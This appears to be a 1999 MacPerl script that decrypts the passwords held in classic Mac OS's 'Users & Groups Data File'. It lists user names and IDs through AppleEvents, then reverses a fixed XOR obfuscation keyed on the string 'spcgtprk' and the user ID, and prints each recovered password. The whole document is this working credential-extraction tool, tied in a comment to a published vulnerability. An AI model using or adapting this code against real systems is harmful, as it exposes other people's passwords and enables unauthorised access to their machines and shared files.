#!perl -w # decrypt_users_and_groups.plx - decrypt Users & Groups passwords # by Chris Nandor, pudge@pobox.com, http://pudge.net/ # Wednesday, July 14, 1999 # # Requirements: # MacPerl # # # Users and Groups OSAX # # # Mac::Glue and cpan-mac # use Fcntl; use Mac::Files; use Mac::Glue ':all'; use POSIX 'isprint'; use strict; my($f, %u, $u, $t, @k, $g); $f = $ARGV[0] || FindFolder(kOnSystemDisk, kPreferencesFolderType) . ':Users & Groups Data File'; $g = new Mac::Glue 'Finder'; while (1) { my $info = $g->get_next_user_info( $u ? (name => $u) : () ); if (exists $info->{'ID '}) { $u{$info->{pnam}} = $info->{'ID '}; $u = $info->{pnam}; } else { last; } } @k = map ord, qw(s p c g t p r k); sysopen F, $f, O_RDONLY or die $!; binmode F; read F, $t, -s $f; for my $u (sort {$u{$a} <=> $u{$b}} keys %u) { MAIN: while ($t =~ /\Q$u\E\000?(.{8})/gs) { my(@b, $p) = unpack 'C*', $1; next if $b[0] == 0; for my $i (0 .. $#b) { # i think i have the algorithm right, here, # it is different than the one encountered # on http://www.securityfocus.com/vdb/bottom.html?vid=519 # first character seems to be XORd with user's ID XOR 1 my $c = $b[$i] ^ ($i == 0 ? $u{$u} ^ 1 : $b[$i-1]) ^ $k[$i]; next MAIN if $c != 0 && ! isprint(chr $c); $p .= chr $c; } $p =~ s/\000+$//; printf "possible password for '$u': $p\n"; } } BEGIN { $Mac::AppleEvents::Simple::AE_GET{UREC} = sub { $Mac::AppleEvents::Simple::AE_GET{typeAERecord()}-> (AECoerceDesc(shift, typeAERecord)) } } __END__